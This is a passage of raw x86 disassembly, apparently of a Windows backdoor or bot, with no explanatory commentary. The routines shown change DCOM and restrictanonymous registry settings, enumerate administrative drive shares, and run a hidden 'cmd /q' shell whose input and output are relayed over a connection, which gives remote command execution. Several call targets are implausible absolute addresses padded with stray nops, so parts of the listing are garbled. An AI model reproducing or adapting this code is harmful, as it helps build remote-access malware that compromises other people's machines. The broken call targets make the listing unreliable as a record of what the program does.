loc_4160BF:				; CODE XREF: sub_415F88+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_4160CD:				; CODE XREF: sub_415F88+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4160EC
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_4160EC:				; CODE XREF: sub_415F88+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		cmp	dword_43F760, edi
		pop	ecx
		jnz	loc_416267
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41610F:				; CODE XREF: sub_415F88+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_43F5B4
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_4161AC
		cmp	eax, 0EAh
		jz	short loc_4161AC
		mov	esi, offset off_438CA0


loc_416140:				; CODE XREF: sub_415F88+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_416157
		push	offset unk_438E04
		jmp	short loc_41615C
; ---------------------------------------------------------------------------


loc_416157:				; CODE XREF: sub_415F88+1C6j
		push	offset unk_438DC8


loc_41615C:				; CODE XREF: sub_415F88+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41618F
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_41618F:				; CODE XREF: sub_415F88+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_438CC0
		jb	short loc_416140
		jmp	loc_416244
; ---------------------------------------------------------------------------


loc_4161AC:				; CODE XREF: sub_415F88+1AAj
					; sub_415F88+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41623B


loc_4161BB:				; CODE XREF: sub_415F88+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41999C
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_416230
		push	edi
		call	sub_40DBB0
		push	eax
		push	0
		call	sub_40DCC3
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_4161EA
		push	offset unk_438D94
		jmp	short loc_4161EF
; ---------------------------------------------------------------------------


loc_4161EA:				; CODE XREF: sub_415F88+259j
		push	offset unk_438D58


loc_4161EF:				; CODE XREF: sub_415F88+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416223
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416223:				; CODE XREF: sub_415F88+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_416230:				; CODE XREF: sub_415F88+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_4161BB
		xor	edi, edi


loc_41623B:				; CODE XREF: sub_415F88+22Dj
		push	[ebp+var_8]
		call	dword_43F6F8


loc_416244:				; CODE XREF: sub_415F88+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41610F
		lea	eax, [ebp+var_214]
		push	offset unk_438D20
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41627A
; ---------------------------------------------------------------------------


loc_416267:				; CODE XREF: sub_415F88+177j
		lea	eax, [ebp+var_214]
		push	offset unk_438CE0
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_41627A:				; CODE XREF: sub_415F88+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_416298
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416298:				; CODE XREF: sub_415F88+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_415F88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162AC	proc near		; CODE XREF: sub_415F28:loc_415F6Fp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_43F738, ebx
		push	esi
		jnz	loc_4163DA
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_416337
		mov	ax, word_4391FC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43F68C
		test	eax, eax
		jz	short loc_416319
		push	offset unk_4391C8
		jmp	short loc_41631E
; ---------------------------------------------------------------------------


loc_416319:				; CODE XREF: sub_4162AC+64j
		push	offset dword_43919C


loc_41631E:				; CODE XREF: sub_4162AC+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_41634A
; ---------------------------------------------------------------------------


loc_416337:				; CODE XREF: sub_4162AC+36j
		lea	eax, [ebp+var_220]
		push	offset unk_438F68
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_41634A:				; CODE XREF: sub_4162AC+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416369
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416369:				; CODE XREF: sub_4162AC+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_4163D3
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_43F68C
		test	eax, eax
		jz	short loc_4163B5
		push	offset unk_439150
		jmp	short loc_4163BA
; ---------------------------------------------------------------------------


loc_4163B5:				; CODE XREF: sub_4162AC+100j
		push	offset unk_43910C


loc_4163BA:				; CODE XREF: sub_4162AC+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_4163ED
; ---------------------------------------------------------------------------


loc_4163D3:				; CODE XREF: sub_4162AC+E2j
		push	offset unk_4390C0
		jmp	short loc_4163DF
; ---------------------------------------------------------------------------


loc_4163DA:				; CODE XREF: sub_4162AC+13j
		push	offset unk_438E38


loc_4163DF:				; CODE XREF: sub_4162AC+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_4163ED:				; CODE XREF: sub_4162AC+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41640C
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_41640C:				; CODE XREF: sub_4162AC+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		cmp	dword_43F760, ebx
		pop	ecx
		jnz	loc_416581
		push	edi
		mov	esi, offset off_438CA0
		mov	edi, 200h


loc_416430:				; CODE XREF: sub_4162AC+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_40DC17
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41644B
		push	offset unk_439090
		jmp	short loc_416450
; ---------------------------------------------------------------------------


loc_41644B:				; CODE XREF: sub_4162AC+196j
		push	offset unk_439058


loc_416450:				; CODE XREF: sub_4162AC+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41647F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_41647F:				; CODE XREF: sub_4162AC+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_438CB0
		jb	short loc_416430
		nop
		call	near ptr 27C061Bh
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_416569


loc_4164AA:				; CODE XREF: sub_4162AC+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41655E
		cmp	bl, 41h
		jz	loc_41655E
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43F6C8
		cmp	eax, 3
		jnz	short loc_41655E
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_40DC17
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41651C
		push	offset unk_439090
		jmp	short loc_416521
; ---------------------------------------------------------------------------


loc_41651C:				; CODE XREF: sub_4162AC+267j
		push	offset unk_439058


loc_416521:				; CODE XREF: sub_4162AC+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416551
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416551:				; CODE XREF: sub_4162AC+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_41655E:				; CODE XREF: sub_4162AC+206j
					; sub_4162AC+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_4164AA


loc_416569:				; CODE XREF: sub_4162AC+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_439018
		push	eax
		call	sub_4172B0
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_416594
; ---------------------------------------------------------------------------


loc_416581:				; CODE XREF: sub_4162AC+173j
		lea	eax, [ebp+var_220]
		push	offset unk_438CE0
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_416594:				; CODE XREF: sub_4162AC+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4165B2
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_4165B2:				; CODE XREF: sub_4162AC+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_4162AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165C6	proc near		; CODE XREF: ___:0041562Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_416717
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_4450CC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_4240A0
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4168E9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_416631
		nop
		call	near ptr 2630313h
		push	eax
		push	offset dword_439244
		call	sub_40BFE1
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41666B
; ---------------------------------------------------------------------------


loc_416631:				; CODE XREF: sub_4165C6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41699B
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_416672
		nop
		call	near ptr 2630313h
		push	eax
		push	offset dword_439244
		call	sub_40BFE1
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	near ptr 27B0A22h
		nop


loc_41666B:				; CODE XREF: sub_4165C6+69j
		xor	eax, eax
		jmp	loc_416712
; ---------------------------------------------------------------------------


loc_416672:				; CODE XREF: sub_4165C6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 27C0848h
		sub	eax, ebx
		jz	short loc_4166CC
		dec	eax
		jz	short loc_4166C6
		dec	eax
		jz	short loc_4166B2
		call	near ptr 2630313h
		nop
		push	eax
		push	offset dword_439200
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_4166E1
; ---------------------------------------------------------------------------


loc_4166B2:				; CODE XREF: sub_4165C6+D5j
		mov	edi, dword_424168
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4166E1
; ---------------------------------------------------------------------------


loc_4166C6:				; CODE XREF: sub_4165C6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4166D0
; ---------------------------------------------------------------------------


loc_4166CC:				; CODE XREF: sub_4165C6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4166D0:				; CODE XREF: sub_4165C6+104j
		call	near ptr 27B0A22h
		nop
		push	1
		push	dword ptr [esi+8]
		call	near ptr 27B0BD0h
		nop


loc_4166E1:				; CODE XREF: sub_4165C6+EAj
					; sub_4165C6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_424078
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_43F700
		push	esi
		call	sub_417C3B
		pop	ecx
		push	1
		pop	eax


loc_416712:				; CODE XREF: sub_4165C6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4165C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416717	proc near		; CODE XREF: sub_4165C6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_416801
		mov	ebx, dword_424140
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_424078
		test	eax, eax
		jnz	short loc_41677A
		call	near ptr 2630313h
		nop
		push	eax
		push	offset dword_439324
		jmp	short loc_41679A
; ---------------------------------------------------------------------------


loc_41677A:				; CODE XREF: sub_416717+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4167A2
		nop
		call	near ptr 2630313h
		push	eax
		push	offset dword_4392D4


loc_41679A:				; CODE XREF: sub_416717+61j
		call	sub_40BFE1
		pop	ecx
		jmp	short loc_4167D0
; ---------------------------------------------------------------------------


loc_4167A2:				; CODE XREF: sub_416717+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_416810
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_416805
		push	offset dword_43929C
		call	sub_40BF6D


loc_4167D0:				; CODE XREF: sub_416717+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4167DC
		push	[ebp+var_4]
		call	edi


loc_4167DC:				; CODE XREF: sub_416717+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4167E7
		push	[ebp+var_8]
		call	edi


loc_4167E7:				; CODE XREF: sub_416717+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4167F0
		push	eax
		call	edi


loc_4167F0:				; CODE XREF: sub_416717+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4167FA
		push	eax
		call	edi


loc_4167FA:				; CODE XREF: sub_416717+DEj
		push	esi
		call	sub_417C3B
		pop	ecx


loc_416801:				; CODE XREF: sub_416717+1Dj
		xor	eax, eax
		jmp	short loc_41680B
; ---------------------------------------------------------------------------


loc_416805:				; CODE XREF: sub_416717+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41680B:				; CODE XREF: sub_416717+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416810	proc near		; CODE XREF: sub_416717+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417330
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_42413C
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 27607E9h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 274056Fh
		test	eax, eax
		jz	short loc_4168CC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_4450C8[eax], ecx
		call	near ptr 2611A31h
		nop
		jmp	short loc_4168E2
; ---------------------------------------------------------------------------


loc_4168CC:				; CODE XREF: sub_416810+9Aj
		call	near ptr 2630313h
		nop
		push	eax
		push	offset dword_439374
		call	sub_40BFE1
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4168E2:				; CODE XREF: sub_416810+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416810	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4168E9	proc near		; DATA XREF: sub_4165C6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_424074
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_416912:				; CODE XREF: sub_4168E9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_41697A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41694D


loc_416923:				; CODE XREF: sub_4168E9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41693D
		cmp	dl, 0Dh
		jz	short loc_41693D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41693D:				; CODE XREF: sub_4168E9+44j
					; sub_4168E9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_416923


loc_41694D:				; CODE XREF: sub_4168E9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43F6B8
		test	eax, eax
		jle	short loc_41697A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_416912
; ---------------------------------------------------------------------------


loc_41697A:				; CODE XREF: sub_4168E9+2Dj
					; sub_4168E9+79j
		mov	esi, dword_42408C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_416996
		call	esi
		push	eax
		push	offset dword_4393C0
		call	sub_40BFE1
		pop	ecx
		pop	ecx


loc_416996:				; CODE XREF: sub_4168E9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4168E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41699B	proc near		; DATA XREF: sub_4165C6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4169B4:				; CODE XREF: sub_41699B+39j
					; sub_41699B+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43F680
		test	eax, eax
		jle	loc_416AB9
		cmp	[ebp+var_10], ebx
		jbe	short loc_4169D6
		dec	[ebp+var_10]
		jmp	short loc_4169B4
; ---------------------------------------------------------------------------


loc_4169D6:				; CODE XREF: sub_41699B+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_416A99
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_416A46
		cmp	al, 7Fh
		jz	short loc_416A46
		cmp	al, 3
		jnz	short loc_416A01
		push	ebx
		push	ebx
		nop
		call	near ptr 27C098Dh
		jmp	short loc_416A6D
; ---------------------------------------------------------------------------


loc_416A01:				; CODE XREF: sub_41699B+5Aj
		cmp	al, 15h
		jnz	short loc_416A23
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_416A59
; ---------------------------------------------------------------------------


loc_416A23:				; CODE XREF: sub_41699B+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_416A5A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_416A59
; ---------------------------------------------------------------------------


loc_416A46:				; CODE XREF: sub_41699B+52j
					; sub_41699B+56j
		cmp	esi, ebx
		jbe	short loc_416A70
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_416A59:				; CODE XREF: sub_41699B+86j
					; sub_41699B+A9j
		pop	ecx


loc_416A5A:				; CODE XREF: sub_41699B+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43F6B8
		test	eax, eax
		jle	short loc_416AB9


loc_416A6D:				; CODE XREF: sub_41699B+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_416A70:				; CODE XREF: sub_41699B+ADj
		cmp	al, 0Dh
		jnz	loc_4169B4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_416AB9
		xor	esi, esi
		jmp	loc_4169B4
; ---------------------------------------------------------------------------


loc_416A99:				; CODE XREF: sub_41699B+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_416AAA
		mov	[ebp+var_C], 1
		jmp	loc_4169B4
; ---------------------------------------------------------------------------


loc_416AAA:				; CODE XREF: sub_41699B+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4169B4
; ---------------------------------------------------------------------------


loc_416AB9:				; CODE XREF: sub_41699B+2Bj
					; sub_41699B+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41699B	endp


; =============== S U B	R O U T	I N E =======================================



sub_416ABE	proc near		; CODE XREF: sub_416ADE+Ap
					; sub_416BB6+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_417AB0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_416ABE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416ADE	proc near		; CODE XREF: sub_416BCD+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_416ABE
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_416AFB
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_416AFB:				; CODE XREF: sub_416ADE+17j
		push	ebx
		push	esi
		push	edi
